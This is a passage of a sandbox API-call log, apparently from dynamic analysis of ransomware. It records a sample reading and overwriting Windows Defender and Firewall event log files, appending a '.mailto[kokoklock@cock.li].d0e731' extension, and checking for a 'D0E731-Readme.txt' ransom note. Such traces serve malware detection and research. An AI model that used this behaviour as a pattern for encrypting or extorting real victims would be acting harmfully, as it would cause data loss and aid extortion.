lpNumberOfBytesRead=0xb86fb78, lpOverlapped=0x0 | out: lpBuffer=0xb86fb7c*, lpNumberOfBytesRead=0xb86fb78*=0x4, lpOverlapped=0x0) returned 1 [0167.912] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.912] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96750 [0167.912] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0167.913] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96958 [0167.913] NtQuerySystemTime (in: CurrentTime=0xb86fb54 | out: CurrentTime=0xb86fb54*=132121213252252470) returned 0x0 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x9d2ff768 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0xaf016f39 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0xba1f9a10 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x72e77062 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0xd38ea13e [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x457cbda5 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0xbef5d8fb [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x3e6c89f8 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x5ae673fe [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0xacd9c34e [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x654fed44 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x9ac4213d [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x4c867d1 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0xa0e58944 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0xb519b05 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x7d868ed [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x9f2acbdd [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x843d967e [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x2831b3c [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x1f56e2e9 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0xaeabf17f [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0xd86a2a64 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x2b1200b4 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x54682ddb [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x7fc5ea90 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x875c0a68 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x9ffab6f6 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x6fa18be5 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x6e2b6500 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x90fe9c0 [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x38b9e52e [0167.913] RtlRandom (in: Seed=0xb86fb60 | out: Seed=0xb86fb60) returned 0x802ceb2f [0167.922] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96840 [0167.924] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.924] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0167.924] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.924] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96750) returned 1 [0167.924] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.924] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.925] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb86fb2c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb86fb2c*=0x4096, lpOverlapped=0x0) returned 1 [0167.926] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.926] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.926] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.926] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96868 [0167.926] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96868) returned 1 [0167.926] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.926] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96980 [0167.926] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969a8 [0167.926] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969a8) returned 1 [0167.926] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.926] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.926] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb86fb2c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb86fb2c*=0x4096, lpOverlapped=0x0) returned 1 [0167.927] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.927] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.927] WriteFile (in: hFile=0x528, lpBuffer=0x2f96980*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb86fb64, lpOverlapped=0x0 | out: lpBuffer=0x2f96980*, lpNumberOfBytesWritten=0xb86fb64*=0x20, lpOverlapped=0x0) returned 1 [0167.927] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96980) returned 1 [0167.927] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.927] WriteFile (in: hFile=0x528, lpBuffer=0x2f969f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb86fb78, lpOverlapped=0x0 | out: lpBuffer=0x2f969f8*, lpNumberOfBytesWritten=0xb86fb78*=0x8, lpOverlapped=0x0) returned 1 [0167.927] WriteFile (in: hFile=0x528, lpBuffer=0xb86fb90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb86fb78, lpOverlapped=0x0 | out: lpBuffer=0xb86fb90*, lpNumberOfBytesWritten=0xb86fb78*=0x4, lpOverlapped=0x0) returned 1 [0167.927] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb86fb78, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb86fb78*=0x4, lpOverlapped=0x0) returned 1 [0167.927] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb86fb78, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb86fb78*=0x6c, lpOverlapped=0x0) returned 1 [0167.927] WriteFile (in: hFile=0x528, lpBuffer=0x2f968b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb86fb78, lpOverlapped=0x0 | out: lpBuffer=0x2f968b8*, lpNumberOfBytesWritten=0xb86fb78*=0x20, lpOverlapped=0x0) returned 1 [0167.927] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb86fb78, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb86fb78*=0x4, lpOverlapped=0x0) returned 1 [0167.927] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0167.927] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96840) returned 1 [0167.927] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969f8) returned 1 [0167.928] CloseHandle (hObject=0x528) returned 1 [0167.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xee) returned 0x2f95908 [0167.928] wcscpy (in: _Dest=0x2f95908, _Source="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" [0167.928] wcscat (in: _Dest=0x2f95908, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.928] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.929] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.929] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95908) returned 1 [0167.929] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.929] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0167.929] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.929] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.929] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.929] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0167.929] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f838a8) returned 1 [0167.929] RtlExitUserThread (Status=0x1) Thread: id = 1682 os_tid = 0xd7c [0167.930] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.930] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.931] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.931] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb8efc8c | out: lpFileSize=0xb8efc8c*=69824) returned 1 [0167.931] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.931] ReadFile (in: hFile=0x528, lpBuffer=0xb8efc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb8efc5c, lpOverlapped=0x0 | out: lpBuffer=0xb8efc60*, lpNumberOfBytesRead=0xb8efc5c*=0x4, lpOverlapped=0x0) returned 1 [0167.932] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96750 [0167.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0167.932] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96980 [0167.932] NtQuerySystemTime (in: CurrentTime=0xb8efc38 | out: CurrentTime=0xb8efc38*=132121213252408581) returned 0x0 [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x17b0b6f6 [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x5c1d51fe [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x1086f6db [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x1c4f3710 [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x29dbed [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x3e91758b [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x8a60023e [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x4ed04dd9 [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x9d56e0e6 [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x967986ca [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x9679fdaf [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0xd9720b03 [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x32c64120 [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0xe452a061 [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x6f2b0f0d [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0xf925433 [0167.932] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x66c84210 [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0xd6ff4aca [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x6868d368 [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0xc4bd357a [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x8162b4bb [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x3d1641f2 [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0xd8e6caa1 [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x2cc246ac [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0xe4119317 [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x3ff0d9db [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0xdffae109 [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x5630cd07 [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x74555581 [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0xee6d684e [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0x5f727cf0 [0167.933] RtlRandom (in: Seed=0xb8efc44 | out: Seed=0xb8efc44) returned 0xf8af6dcf [0167.941] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96840 [0167.943] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.943] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0167.943] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.943] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96750) returned 1 [0167.943] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.943] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.943] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb8efc10, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb8efc10*=0x4096, lpOverlapped=0x0) returned 1 [0167.944] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96868 [0167.945] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96868) returned 1 [0167.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969a8 [0167.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969d0 [0167.945] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969d0) returned 1 [0167.945] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.945] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.945] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb8efc10, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb8efc10*=0x4096, lpOverlapped=0x0) returned 1 [0167.946] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.946] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.946] WriteFile (in: hFile=0x528, lpBuffer=0x2f969a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb8efc48, lpOverlapped=0x0 | out: lpBuffer=0x2f969a8*, lpNumberOfBytesWritten=0xb8efc48*=0x20, lpOverlapped=0x0) returned 1 [0167.946] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969a8) returned 1 [0167.946] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.946] WriteFile (in: hFile=0x528, lpBuffer=0x2f969f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb8efc5c, lpOverlapped=0x0 | out: lpBuffer=0x2f969f8*, lpNumberOfBytesWritten=0xb8efc5c*=0x8, lpOverlapped=0x0) returned 1 [0167.946] WriteFile (in: hFile=0x528, lpBuffer=0xb8efc74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb8efc5c, lpOverlapped=0x0 | out: lpBuffer=0xb8efc74*, lpNumberOfBytesWritten=0xb8efc5c*=0x4, lpOverlapped=0x0) returned 1 [0167.946] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb8efc5c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb8efc5c*=0x4, lpOverlapped=0x0) returned 1 [0167.946] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb8efc5c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb8efc5c*=0x6c, lpOverlapped=0x0) returned 1 [0167.946] WriteFile (in: hFile=0x528, lpBuffer=0x2f968b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb8efc5c, lpOverlapped=0x0 | out: lpBuffer=0x2f968b8*, lpNumberOfBytesWritten=0xb8efc5c*=0x20, lpOverlapped=0x0) returned 1 [0167.946] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb8efc5c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb8efc5c*=0x4, lpOverlapped=0x0) returned 1 [0167.947] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0167.947] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96840) returned 1 [0167.947] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969f8) returned 1 [0167.947] CloseHandle (hObject=0x528) returned 1 [0167.947] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f6ab60 [0167.947] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731" [0167.947] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.947] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.948] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.948] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0167.948] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.948] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3c88 [0167.948] wcscpy (in: _Dest=0x2fe3c88, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.948] wcscat (in: _Dest=0x2fe3c88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.948] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.948] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c88) returned 1 [0167.948] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84618) returned 1 [0167.948] RtlExitUserThread (Status=0x1) Thread: id = 1683 os_tid = 0xd74 [0167.952] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.953] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.953] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.953] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb96fb78 | out: lpFileSize=0xb96fb78*=1052928) returned 1 [0167.953] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1010fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.953] ReadFile (in: hFile=0x528, lpBuffer=0xb96fb4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb96fb48, lpOverlapped=0x0 | out: lpBuffer=0xb96fb4c*, lpNumberOfBytesRead=0xb96fb48*=0x4, lpOverlapped=0x0) returned 1 [0167.954] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.954] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96750 [0167.954] 